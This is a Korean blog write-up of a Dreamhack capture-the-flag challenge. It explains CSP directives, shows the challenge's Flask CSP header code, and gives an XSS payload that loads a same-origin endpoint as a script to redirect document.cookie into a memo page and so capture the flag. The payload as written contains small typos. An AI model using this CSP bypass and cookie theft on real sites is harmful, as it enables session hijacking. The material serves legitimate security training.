728x90
CSP 취약점을 이용하여 푸는 문제이다...!
이 문제를 풀기 위해 CSP 취약점에 대해 알아야 한다.!
∙ CSP (Content-Security Policy)
신뢰할 수 있는 웹 페이지 CSP에서 악의적으로 XSS, 클릭 재킹 및 기타 코드 삽입 공격을 방지하기 위한 정책이다.
지시문 default-src : 모든 리소스에 대한 정책 script-src : Javascript 등 웹에서 실행 가능한 스크립트에 대한 정책 style-src : css에 대한 정책 connect-src : script src로 불러올 수 있는 url에 대한 정책 img-src : 이미지 ( data: URL에서 이미지가 로드되는 것을 허용하려면 data:를 지정 ) script-nonce : script-src에 nonce가 포함되는 정책 form-action : form 태그 내 action 부분에 대한 정책 object-src : 플러그인, 오브젝트에 대한 정책 media-src : video, audio font-src : font sandbox : HTML 샌드박스 reflected-xss : X-XSS-Protection header와 동일한 효과 report-uri : 정책 위반 케이스가 나타났을 때 내용을 전달할 URL base-uri: <base> 요소에 나타날 수 있는 URL을 제한 |
문제의 파일소스를 바로 보자..!
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
header에 CSP가 설정이 되어 있다.
해당 부분에서 script-src 'self' 'nonce-{nonce}' 이므로 동일 출처 내의 파일을 src로 세팅하거나, 올바른 nonce 속성이 세팅되어 있으면 예외적으로 스크립트 사용이 가능하다는 의미이다.
<script src ='/vuln? param=location.href="/memo? memo="%2 Bdocument.cookie'></sciprt>을 페이로드를 사용하면 flag값을 얻을 수 있다.
vuln? param=location.href="/memo? memo="%2 Bdocument.cookie'></sciprt>에서 + 대신에 % 2B을 사용한 이유는 URL Decoding이 되면서 + 가 공백으로 해석되지 않도록 한 번 인코딩을 해준 것이다.!
'모의해킹 > Dreamhack' 카테고리의 다른 글
phpMyRedis (0) | 2023.12.01 |
---|---|
Client Side Template Injection (0) | 2023.11.25 |
[wargame.kr] crack crack crack it (0) | 2023.11.20 |
[wargame.kr] dun worry about the vase (0) | 2023.11.18 |
crawling (0) | 2023.11.15 |